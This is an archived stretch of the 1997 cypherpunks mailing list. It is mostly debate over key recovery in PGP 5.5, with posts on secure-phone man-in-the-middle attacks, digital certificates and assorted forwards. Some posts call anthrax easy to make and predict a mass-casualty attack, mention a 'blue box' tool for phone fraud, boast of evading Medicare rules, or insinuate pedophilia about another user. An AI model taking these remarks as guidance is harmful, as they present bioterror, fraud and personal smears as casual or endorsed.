being able to encrypt to multiple recipiants, has been in PGP since day
one.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
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Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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jDF2biHPn89MbPYTw/IhXMZ/khlgf1m5P7p0Y8ts64pvEBwUvySiNnEpwyopNVR8
9ux6FnJaiGQ=
=U3xd
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Thu, 9 Oct 1997 01:13:20 +0800
To: cypherpunks@toad.com
Subject: Re: your mail
Message-ID: <a2b7c1c5b76188f32e4f764eae11028c@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



>>>
>>>Here is a cool test!!  Just write everything down and find out 
>>everything you
>>>need to know about yourself.  My answers were GREAT (and some true) 
>see 
>>how
>>>yours turn out! :-)  Don't strain yourlsef thinking though!
>>>
>>>
>>>Chapter I
>>>
>>>Arrange the following 5 animals according to your preference:
>>> 
>>>Cow
>>> 
>>>Tiger
>>> 
>>>Sheep
>>> 
>>>Horse
>>> 
>>>Monkey
>>>
>>> 
>>>Chapter II
>>>
>>>Describe the following :
>>> 
>>>Dog
>>> 
>>>Cat
>>> 
>>>Rat
>>> 
>>>Coffee
>>> 
>>>Ocean
>>>
>>>
>>>Chapter III
>>>
>>>Think of somebody (who also knows you) that you can relate to the 
>>following
>>>colors :
>>>( Pls. don't  repeat your answer twice only one person for each color)
>>>
>>>Yellow
>>>
>>>Orange
>>>
>>>Red
>>>
>>>White
>>>
>>>Green
>>>
>>>And finally  indicate your favorite number and favorite day
>>>
>>> 
>>>-----------------------------------------------------(See 
>>interpretations
>>>below) :
>>>
>>>But before going on,  just make  one wish.......=)
>>>
>>>
>>>
>>>Chapter I
>>>
>>>(This will define your priorities in life)
>>>
>>>Cow means career
>>> 
>>>Tiger means  pride
>>>
>>>Sheep  means love
>>> 
>>>Horse means family
>>>
>>>Monkey means money
>>>
>>> 
>>>Chapter II
>>>
>>>Your description of Dog implies your own personality
>>>
>>>Your description of Cat implies your partner's  personality 
>>> 
>>>Your description of Rat implies your enemy's personality
>>>
>>>Your description of Coffee is  how you interpret sex
>>>
>>>Your description of Ocean implies your own life
>>>
>>>
>>>Chapter III
>>>
>>>Yellow -  somebody who will never forget you
>>>
>>>Orange -  someone whom you can consider as your real friend
>>> 
>>>Red - someone you really love
>>>
>>>White - your soulmate
>>>
>>>Green -  a person who will  you  always remember for the rest of your 
>>life
>>>
>>>Your favorite number will be the number of persons you will be sending 
>>this
>>>test to and the  favorite day will be the day that your dream will 
>come 
>>true!
>>>
>>>Hope you had fun!
>
>
>
>______________________________________________________
>Get Your Private, Free Email at http://www.hotmail.com
>
>


<----  End Forwarded Message  ---->








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Thu, 9 Oct 1997 01:42:47 +0800
To: cypherpunks@toad.com
Subject: Need Info
Message-ID: <7137c80bbd61cc66c3de2fde5b826adc@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



sampler-request@lmboyd.com wrote: 
> ======================================================
>  Q. Can you confirm the claim that a ferocious bull won't
> attack a naked human being?
>  A. Hard to find an authority on this. Those who know
> won't explain the circumtances wherein they found out.
> Such has been reported, though.

  snow? Zooko? Anyone...?


> LMBoyd Web Site / U. S. Newspapers / Start Email / Stop Email
> http://www.LMBoyd.com/postscript.htm







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 9 Oct 1997 02:40:01 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: What's really in PGP 5.5?
In-Reply-To: <199710081011.LAA00865@server.test.net>
Message-ID: <199710081815.OAA20071@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199710081011.LAA00865@server.test.net>, on 10/08/97 
   at 11, Adam Back <aba@dcs.ex.ac.uk> said:

>Bill Frantz <frantz@netcom.com> writes:
>> At 2:27 PM -0700 10/7/97, Jon Callas wrote:
>> >favorite way of expressing this problem is, "if you lose the keys to your
>> >car, then you have to get a new car."
>> 
>> Now email is a confounding medium because it is both a transient
>> communication medium and a storage medium.  We would like to be able to
>> have protection against losing access to our stored data, at the same time
>> we are sure that those who violate our trust and intercept our
>> communications can not read the data, when it is sent or at any time in the
>> future.
>> 
>> PGP 5.5 seems to have a solution to the "lose your data" problem.  It does
>> not seem to address the secure deletion problem.

>If PGP wants to archive data sent or received, well they can do so, but
>sending encrypted communications over open networks encrypted to _two_
>long term public keys is bad security practice.


>There are two reasons which are given as to why someone might want to
>have GAK installed for company use.

>1. to allow access to important material lost in the mail system in the
>event that an employee is hit by a bus

>2. to allow management to spot check the emails being sent and received


>Argument 1 seems pretty flimsy to me.  I reiterate my comment in an
>earlier post: who in their right mind keeps their _only_ copy of ultra
>valuable company information bouncing around in the email system?  Did
>those arguing for this position not notice that sometimes email gets lost
>in transit?

Well lets take the flip side of this: Who in their right mind encrypts
ultra valuable company information and then leaves the plain text on their
computer?? I have an outbox full of encrypted messages that are encrypted
to both the recipient and to my key (Encrypt-To-Self Option). If you are
going through the trouble of encryption why would you want to leave plain
text lying around??? One needs to remember that e-mail is not just
communication but communication *and* storage.

>Regardless, if PGP claims to be catering to those who use this argument,
>and to not want to try that hard to make it impossible to by-pass, the
>more secure, and less GAK friendly way to do it is to have the mail
>client software archive the email sent and received.

I have to disagree, see above.

>Argument 2 I find somewhat distasteful, but seems to me to be logically
>what PGP's implementation is catering for.  A less GAK friendly way to
>implement it, and a more secure (communications secure, not saying
>anything about GAK being easier or harder to by-pass) way would be to
>archive for a while the session keys. The security advantage being that
>the email doesn't go out with the session key encrypted to 2 long term
>public key encryption keys.

I have seen no evidence that encrypting to multiple recipients is any less
secure than encrypting to one. If there are serious security implications
in doing so then it affects *all* versions of PGP and not just 5.5. I find
it odd that this issue is only now being brought up with 5.5 and never
mentioned with previous versions.

One thing I would like to see added to this set-up is secret sharing of
the corporate private key. That way one person could not unilaterally
access the data but would require the agreement of several people (say 3
of 5 department heads). I think this would provide enhanced physical
security of the key and personal privacy (Joe in IMS can't snoop the mail
just because he is board). I have made some mention of this in the past to
PGP but don't know what if any work has been done in this area. I have
been working on a small utility that would let a user do this with his own
private key. Perhaps if I ever get some free time I can finish it up.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Deters <jad@dsddhc.com>
Date: Thu, 9 Oct 1997 02:34:10 +0800
To: Eric Blossom <eb@comsec.com>
Subject: Re: Secure phone
In-Reply-To: <3.0.3.32.19971007102724.00a499c0@labg30>
Message-ID: <3.0.3.32.19971008132417.00b0c6d0@labg30>
MIME-Version: 1.0
Content-Type: text/plain



At 12:44 PM 10/7/97 -0700, Eric Blossom you wrote:
>I wrote:
>> Therefore, man-in-the-middle can be more precisely described as an
>> unauthenticated end-point problem.  Therefore, without authentication,
>> there is no defense (yet) against MITM attacks.
>
>I concur from the theoretical point of view.

Really, that's the only point I was attacking.  I agree that from a
practical standpoint that you probably would be able to detect a fake voice
today.

However, a weakness is a weakness, and from a practical standpoint, digital
audio technology is not getting worse as time goes on.  The phone phreaker
world has a blue box (available on the net and called bluebox, I think)
that uses the sound card to generate tones to fool phone systems into
giving them free long distance.  It also will use a recorded human voice to
"read" credit card numbers and phone numbers to a telephone operator.
While it's not perfect, it does manage to get inflection and tone properly
across.  The imperfections are ostensibly covered up by the omnipresent
telephone network noise (from which your box does not suffer.)  

It would not take an enormous amount of recorded conversation to have
enough samples to extract the complete set of hex digits from any given
speaker.  But, it would take an enormous amount of chutzpah for a MITM to
try it.

It would be easy enough to "trick" the MITM into exposing their existance
anyway, just by using digits that come up in conversation.  Humans would be
able to come up with unique situations that the MITM would find all but
impossible to predict.  "Hey, Eric, I noticed that the third digit of your
IP address' second octet is the same as the second digit of our exchange.
How's by you?"  A sudden dropout of sound (or "accidental" loss of
connection) while the MITM recognizes the trap and tries to backpedal will
be instantly noticed.  Human protocols are resilient, whereas mathematical
protocols are precise.

Having a working theory behind securing the exchange (whether or not you
implement it) makes for a nice mind exercise, anyway.  Your working boxes
are a far cry above any theory we discuss here.  If I had one of your nifty
boxes, I'm sure I wouldn't lose sleep over the theoretical holes.

John
--
J. Deters "Don't think of Windows programs as spaghetti code.  Think
          of them as 'Long sticky pasta objects in OLE sauce'."
+--------------------------------------------------------------------+
| NET:   mailto:jad@dsddhc.com (work)   mailto:jad@pclink.com (home) |
| PSTN:  1 612 375 3116 (work)          1 612 894 8507 (home)        |
| ICBM:  44^58'36"N by 93^16'27"W Elev. ~=290m (work)                |
| For my public key, send mail with the exact subject line of:       |
| Subject: get pgp key                                               |
+--------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 9 Oct 1997 04:36:14 +0800
To: cypherpunks@Algebra.COM
Subject: Anthrax Bombs
In-Reply-To: <199710081352.GAA17135@mail6.netcom.com>
Message-ID: <v03102801b061968a67f8@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:37 AM -0700 10/8/97, Bill Frantz wrote:
>At 3:01 AM -0700 10/8/97, Peter Trei wrote:
>>I don't know if it's comforting or worrying knowing that these
>>devices degrade - any in the hands of terrorists have a limited
>>time that they are a threat, but that fact may pressure a terrorist
>>to 'use it or lose it'.
>
>What I have heard about these suitcase nukes is that they yield about 1-2
>kilotons.  I know of no technical reason for them to be thermonuclear
>devices.  As such, the decay of tritium would not seem to affect them.
>(They will still need a source of neutrons, which might go bad faster than
>the plutonium/U235.)
>
>I feel very little comfort.

I'd fear an "anthrax bomb" a lot more than a 2 KT suitcase nuke. (If I
lived in a crowded target zone, aka a soft target, which I don't.)

(As is well-known, or should be, folks survived Hiroshima and Nagasaki as
close as 400 meters from ground zero. And they were both roughly 20 KT
nukes. Inasmuch as the blast effects scale as the cube root of megatonnage,
a 2 KT blast might be expected to be survivable as close as a few hundred
meters or even less. Of course, some will die even out at a 1000 meters,
but not many.)

By comparison, anthrax bacillus is relatively easy to manufacture, and
aerosol dispersion could kill hundreds of thousands or more before even
being detected. Aerosolized dispersion in Washington or Manhattan could be
a far worse human and infrastructure disaster than a suitcase nuke.

I expect this sort of attack to occur fairly soon.

(The Aum Shinretsu cult in Japan was working with such things, including
Sarin, a nerve toxin. Some of the sites knocked out in Iraq were CBW sites.)

P.S. I used to work a lot with radioisotopes. Pu-239 has a long half-life,
as noted here by others, and is not going to decay significantly in human
times. But poising and neutron-stealing can render nukes duds in just a few
years. However, battlefield nukes are typically made with some design
choices which minimize the routine maintenance/refurbishing which the main
MIRV nukes need. My understanding is that most of the NDT (nuclear
demolition) devices have a shelf-life of up to a decade or so.

Anthrax is a whole lot cheaper.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Thu, 9 Oct 1997 02:39:58 +0800
To: cypherpunks@toad.com
Subject: The 5th Horseman: Cryptoanarchist doctors.
Message-ID: <199710081812.LAA16051@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



I don't often get Forbes, but the Oct 6 issue
caught my eye. Leafing through it, I found something
fun in the letters column.

It's in response to a 'fact & comment' column in the Sept 22
issue, the core of which is:

----------------
 Here's how this basic attack on our personal
 freedom will work: A doctor who provides
 medical services to a Medicare-eligible patient
 without billing Medicare must sign an affidavit to
 the Secretary of Health and Human Services that
 he or she will not treat a single Medicare patient
 for the next two years. Any doctor found treating
 both Medicare patients and Medicare-eligible
 private patients will be subject to fines and
 perhaps prison. As Moffit points out, Section
 4507 is "deliberately designed to make private
 contracting and medicine all but
 impossible except for physicians who reside in
 very wealthy communities." 

 Senator Jon Kyl (R-Ariz.) correctly observes
 that this prohibition is the equivalent of Social
 Security's barring retirees from dealing with
 stockbrokers: "Surely, a law that made it illegal
 to supplement with private funds the amount
 received from Social Security would be met with
 disbelief and derision." Yet that is the equivalent
 of what this Medicare regulation does. 
------------------

The letter reads:

SIR: I have been treating Medicare patients for cash
without filing Medicare claims for years. I do not 
intend to stop. If the government receives no forms, 
how will it know that a beneficiary received care from
me? And the feds can't seize my records. They are all
computerized and encrypted.


Anthony A. Cassens, M.D
Los Angeles, Calif.

---------------------

Peter Trei
trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Thu, 9 Oct 1997 00:16:16 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: privacy rights: giving away the store
Message-ID: <19971008.143034.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    do you believe this?  so what happened to our privacy?
    the man screams about privacy and encryption one minute, 
    then:

> What if I told you there's one easy thing you can do to make
> your 1998 Internet experiences simpler and safer?  Get a
> digital ID.

        Jesse Berst, ZDNet AnchorDesk, full story at 
        http://www.zdnet.com/anchordesk/story/story_1324.html

    really?

> Also called digital certificates, digital IDs (DIDs) are
> like electronic passports -- universal ID cards that prove
> your identity to anyone who needs to know.  You get a DID
> from an independent certificate authority such as VeriSign,
> which performs a background check first. 

    just what I wanted, a fucking background check. 

    nice schill, Jesse.  OK, I'll call my broker and buy 
    Verisign stock.  they're going to be worth bocu bucks
    taking over the fascists' National ID project.

> ...Most Web servers have it already.  Most email programs
> will have it by the end of the year.  And both major
> browsers...

    gee, that's clever.  but The NYTimes, The Times 
    [London], the Telegraph, and so on, already log me in
    immediately with a cookie I authorized. why do I need
    certified identity?

    even Wired mag knows me as Attila T. Hun.  interNIC
    knows me as Attila T. Hun, I even get mail to my drop
    box as Attila T. Hun....  My check writer can even 
    print checks as Attila T. Hun (the bank does not care
    what the name on the check is --just the MICR numbers).

> ...Your bank knows for sure that it's really you...

    sure, after I enter my password... so what's the big
    deal?  that's all I do now.  automated, too.

> Simpler Surfing.  Sick of separate names and passwords 
> for each site?  A single DID will authenticate you for
> any site that supports the technology -- about 20,000 at
> last count, including Netscape Netcenter, Internet
> Shopping Network, K-Mart, Cellular One and many others.

    OK, but I still must ID my system with my National-ID 
    card available from the cookie wash. I dont see any 
    place to turn it off! 

    bastards! --they've implanted it under my skin.

    why?  so big government or big business can really 
    catalogue my political views by the stories I read? 

    maybe it's my anti-authoritarian, psychotic behaviour 
    and rants against fascist oligarchies, 

    or, maybe because I post to Cypherpunks?
    
> ...you'll help the Internet make an important transition 
> --from a fun place to surf to a safe place to do business.

    aah haa!  I knew there was a reason for all this hoopla!
    What's good for Bill Gate$ is good for the country.

    ...uuh, sorry Mr. AL (GM) $loan; I meant to quote you
    correctly: "What's good for General Motors is good for
    the country."

> A safer Internet is at hand. All you have to do is seize it.
    

    no, jesse, you got that one wrong --the coy fascist dog
    F[reeh,uck] just seized you --and the rest of the
    suckers that fall for Verisign's National-ID.

        attila still going out...

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBNDuu5704kQrCC2kFAQFXxgQAo/THjROjaWOCEdsFD0K9Yy1SXu6G2I3Z
W7GDfTEv4bwalBUSwzHQJjPNcfrYnRoNpxkWm+kHiqolvoJP2XKtk89tnTumwyvK
EfBLPbxRz0lfsXmxy5iNJXWEyJ1Tb3mYbu5CQuAhkWpFhP4xVaRsVSDzCzkmtnBs
7YRH8+KSwoI=
=piYW
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Callas <jon@pgp.com>
Date: Thu, 9 Oct 1997 05:54:21 +0800
To: Bruce Schneier <minow@apple.com
Subject: Re: What's really in PGP 5.5?
In-Reply-To: <v0300780ab0609577728b@[209.98.13.223]>
Message-ID: <3.0.3.32.19971008143320.00a9be80@mail.pgp.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:48 PM 10/7/97 -0500, Bruce Schneier wrote:
   Jon Calis wrote:
   >Also, we have three encryption products: PGP freeware, PGP for Personal
   >Privacy, and PGP for Business Security. Corporate Message Recovery is
   >included *only* in PGP for Business Security. It is not, and never will
   >be, in either the freeware or the Personal Privacy product.
   
   If this is true (and I have no reason to believe it isn't), then why is the
   key escrow code written (although not turned on) in the source code for 5.0
   that was posted internationally from PGP?

Bruce, I understand that you don't like any form of data recovery, but
there is no key escrow in PGP. Perhaps we should talk about this on the phone.
   
   Makes no sense.
   
   Bruce
   


-----
Jon Callas                                         jon@pgp.com
Chief Scientist                                    555 Twin Dolphin Drive
Pretty Good Privacy, Inc.                          Suite 570
(415) 596-1960                                     Redwood Shores, CA 94065
Fingerprints: D1EC 3C51 FCB1 67F8 4345 4A04 7DF9 C2E6 F129 27A9 (DSS)
              665B 797F 37D1 C240 53AC 6D87 3A60 4628           (RSA)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 9 Oct 1997 07:36:31 +0800
To: cypherpunks@toad.com
Subject: Re: Thanks Peter! / Re: russia_1.html
In-Reply-To: <199710081656.SAA25279@basement.replay.com>
Message-ID: <62u0De1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:
> p.p.s. - I wonder if Dimitri thinks its suspicious that your first
>   name is the same as my last one. Of course, if he thought we were
>   doing what John-John do, then ? the Playpus would call you a
>   pedal-file, eh? (Unless you were doing it to a girl my age, and
>   then he would call you a 'petal-file.') {<-- that's a sexist joke}
Very.  Are you indeed a pedophile?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Callas <jon@pgp.com>
Date: Thu, 9 Oct 1997 07:27:31 +0800
To: Charles Platt <jon@pgp.com>
Subject: Re: What's really in PGP 5.5?
In-Reply-To: <3.0.3.32.19971007142710.00a22970@mail.pgp.com>
Message-ID: <3.0.3.32.19971008161146.009e38c0@mail.pgp.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:35 PM 10/7/97 -0400, Charles Platt wrote:
   On Tue, 7 Oct 1997, Jon Callas wrote:
   
   > Like it or not, government has a mandate to protect the people from
   > dangerous technologies, be they in foods, drugs, autos, or information
   > technologies.
   
   Please tell me where it says this in the U.S. Constitution.
   
   In particular, please tell me where the FEDERAL government is assigned 
   this power.
   
   Thank you.
   
There are a number of places. The usual one they abuse is what's called the
"commerce clause" which lets them regulate interstate commerce. They also
drag in "providing for domestic tranquility" or anything else that looks good.

If you'll look again at my next sentence, I said, "Many people believe that
the government uses this mandate as a rationale for acquiring power, many
people would prefer that they let us take our chances...." I'm one of those
many people.

One of the very sad things in our history is that limitations on Federal
power became hostage of the race issue a century ago. "States Rights" is a
real issue because the Constitution places severe limits on what the
federal government is supposed to do. Unfortunately, that term is nigh a
synonym for justification of slavery, racial segregation, and other odious
things. Limits on the federal government are a casualty of the War Between
the States.

Recently, the courts have been reversing this trend, tossing out some laws
that are justified by the commerce clause. A number of scholars predict
this will increase. We can only hope.

	Jon



-----
Jon Callas                                         jon@pgp.com
Chief Scientist                                    555 Twin Dolphin Drive
Pretty Good Privacy, Inc.                          Suite 570
(415) 596-1960                                     Redwood Shores, CA 94065
Fingerprints: D1EC 3C51 FCB1 67F8 4345 4A04 7DF9 C2E6 F129 27A9 (DSS)
              665B 797F 37D1 C240 53AC 6D87 3A60 4628           (RSA)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Thu, 9 Oct 1997 07:42:43 +0800
To: Tim May <cypherpunks@toad.com>
Subject: Re: FCPUNX:CDT complains to my editors after post to cypherpunks
Message-ID: <199710082323.QAA10538@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:34 AM 9/26/97 -0700, Tim May wrote:
> The larger issue is that the CDT/VTW "players" are showing their
> willingness to trade away the civil liberties of us all for a few minor
> tidbits thrown (they think) to corporate sponsors.

CDT may not necessarily be pursuing the interests of its corporate
sponsors.

Legislation in congress, any legislation, the worse the better, 
will promote corporate donations to CDT.  This does not meen that
the corps want legislation.

Indeed, this is a chronic problem with such mundane non civil
liberties lobbies as the milk lobby.

Big business sends their lobbyists to Washington, where they are
corrupted by contact with politicians.

 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Thu, 9 Oct 1997 01:26:48 +0800
To: cypherpunks@toad.com
Subject: Immoral Cryptographers vs. Kindlier, Gentler Cryptographers
Message-ID: <LlUlVP3SHhmuFF/NlclLRQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



* In April, Premier Lien Chan of Taiwan ordered a crackdown on
the national craze of public betel-nut chewing, which he said was
responsible for mouth cancer, slimy sidewalks when they are spit
out, and immorality, in that they are mostly sold by young,
underdressed women at sidewalk stands.  The betel nut is
reportedly a mild stimulant and is slightly more expensive than a
cigarette. 

* The Washington Post reported in May that some tribes in Yemen
routinely kidnap tourists and hold them for days, though treating
them well, regaling them with propaganda, and ultimately offering
them to the government in exchange for political concessions, such
as new road construction.  Said the speaker of the Yemen
parliament, "Kidnapping is part of tourism.  [The] tourist will end
up learning about the customs of the tribes, as well as their good
hospitality." 

------
To read these News of the Weird newspaper
columns from the past six months, go to
http://www.nine.org/notw/notw.html
(That site contains no graphics, no photos, no video clips, no
audio.  Just text.  Deal with it.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 9 Oct 1997 08:32:47 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: Anthrax Bombs
In-Reply-To: <v0300780cb06157ccb00a@[207.94.249.179]>
Message-ID: <v03102802b061c14f0918@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>I'd fear an "anthrax bomb" a lot more than a 2 KT suitcase nuke. (If I
>lived in a crowded target zone, aka a soft target, which I don't.)
[snip]

Amen.

>By comparison, anthrax bacillus is relatively easy to manufacture, and
>aerosol dispersion could kill hundreds of thousands or more before even
>being detected. Aerosolized dispersion in Washington or Manhattan could be
>a far worse human and infrastructure disaster than a suitcase nuke.
>
>I expect this sort of attack to occur fairly soon.
>

I'm pretty surprised that someone has posted practical steps for obtaining,
culturing. preparation and manufacture of inexpensive aerosol generators.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Callas <jon@pgp.com>
Date: Thu, 9 Oct 1997 08:53:12 +0800
To: Bruce Schneier <minow@apple.com
Subject: Re: What's really in PGP 5.5?
In-Reply-To: <v0300780ab0609577728b@[209.98.13.223]>
Message-ID: <3.0.3.32.19971008172422.00a4c100@mail.pgp.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 08:48 PM 10/7/97 -0500, Bruce Schneier wrote:
   
   If this is true (and I have no reason to believe it isn't), then why is the
   key escrow code written (although not turned on) in the source code for 5.0
   that was posted internationally from PGP?
   
I just got through talking to one of the developers, and think I found what
you're talking about, Bruce.

In "pgp.c" of the Unix 5.0 published edition, there's some old Viacrypt code
with a comment that says, 'This is our version of "Commercial Key Escrow"' but
in fact just adds an additional recipient to the encryption list.

It is not in any shipping PGP product. If there's anything to laugh about
in all
this, if you try to use the feature in the Unix freeware, it core-dumps. It
doesn't appear at all in the Mac and Windows code.

It's completely gone as of now.

	Jon


-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQA/AwUBNDwkNn35wubxKSepEQJMvACfWZHVKkYswR9xLibuY8496a4GcaAAoNSB
Yda/tOiQA1vLGocTL0N6XVj1
=LNYn
-----END PGP SIGNATURE-----


-----
Jon Callas                                         jon@pgp.com
Chief Scientist                                    555 Twin Dolphin Drive
Pretty Good Privacy, Inc.                          Suite 570
(415) 596-1960                                     Redwood Shores, CA 94065
Fingerprints: D1EC 3C51 FCB1 67F8 4345 4A04 7DF9 C2E6 F129 27A9 (DSS)
              665B 797F 37D1 C240 53AC 6D87 3A60 4628           (RSA)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cynthia Brown <cynthb@sonetis.com>
Date: Thu, 9 Oct 1997 06:05:29 +0800
To: Cypherpunks@algebra.com
Subject: Re: Internet Via Electric Lines?
In-Reply-To: <199710081601.JAA15326@toad.com>
Message-ID: <Pine.BSD/.3.91.971008163153.7884B-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 8 Oct 1997, Peter Trei wrote:

> It looks like we're seeing different parts of the problem. You're 
> worried about the long-haul backbone. I'm trying to see ways to
> get a 10Gbps fibre into my living room.
> 
> The backbone cost is a tiny fraction of the cost of getting fiber
> into every house in the country. 
>  
> Building a few optical fibers into a cable as it is being 
> manufactured is cheap and easy, as is using fiber-equipped
> cable if you are installing new lines, or replacing old ones
> for other reasons (installation costs are usually far higher 
> than the cost of the line itself). It's hooking up all the 
> fibers into a meaningful network that gets expensive, 
> which was my point.

Practically speaking, using the cable TV infrastructure looks much more
promising than the power grid.  Pros: 

- already available in many major urban centres = less retrofit
- theoretical 30Mbps transmission rate (not fibre, but still pretty good)

Cons:

- lack of standardisation / compatibility for the modems themselves 
(bleeding edge technology, surprise surprise)
- little choice for your ISP
- you may have to buy cable service along with the Internet connectivity

Cynthia
===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Thu, 9 Oct 1997 06:06:58 +0800
To: cypherpunks@cyberpass.net
Subject: Re: What's really in PGP 5.5?
Message-ID: <b6eadab9ed323417eed33e59a019c8c9@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



> There are two reasons which are given as to why someone might want to
> have GAK installed for company use.
> 
> 1. to allow access to important material lost in the mail system in the
> event that an employee is hit by a bus
> 
> 2. to allow management to spot check the emails being sent and received
> 
> 
> Argument 1 seems pretty flimsy to me.  I reiterate my comment in an earlier
> post: who in their right mind keeps their _only_ copy of ultra valuable
> company information bouncing around in the email system?  Did those arguing
> for this position not notice that sometimes email gets lost in transit?
> 
> Regardless, if PGP claims to be catering to those who use this argument, and
> to not want to try that hard to make it impossible to by-pass, the more
> secure, and less GAK friendly way to do it is to have the mail client
> software archive the email sent and received.

Two problems.  First, not all mail clients let you archive the mail in
a different form than how it arrived.  Netscape 3 worked like this, maybe
4 too.  If the mail comes in encrypted just to an employee key, that is
how it will be stored, and no business access is possible.

Second, what if an employee doesn't come back from vacation?  You've got
messages sitting in his inbox which go back three weeks.  All encrypted
to his personal key, which is gone.  It's been long enough that the
senders may not have backups any more.  It's all lost, and at best the
company is going to put its partners and customers to a great deal of
inconvenience by making them re-send everything they've sent in the last
three weeks, not to mention making the company look incompetent.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Last True CypherPunk <cypherpunks@toad.com>
Date: Thu, 9 Oct 1997 08:34:02 +0800
To: cypherpunks@toad.com
Subject: InfoWar 2000 (Part III of 'The True Story of the InterNet)
Message-ID: <343C1E01.2825@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------------------
----------------------------------------------------------------------------

                       The True Story of the InterNet
                                  Part III

                                InfoWar 2000

                  Final Frontier of the Digital Revolution

                     Behind the ElectroMagnetic Curtain

                        by TruthMonger <tm@dev.null>

Copyright 1997 Pearl Publishing
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                          InfoWar Table of Contents

   * InfoWar 2000

----------------------------------------------------------------------------

                                InfoWar 2000
----------------------------------------------------------------------------

"InfoWar is back!" Jonathan cried out, waking the other members of the Magic
Circle instantly. They quickly rose and gathered around the GraphiScreen
hovering over the old oak table.

Subject: Re: [Pigdog] ViaCrypt slowly executes Timmy C. May
From: Flesh <flesh@pigdog.org>
To: pigdog-l@arlington.com, cypherpunks@toad.com

Does the fireBot work well with the
throwemupagainstthewallandaimfortheheadBot?

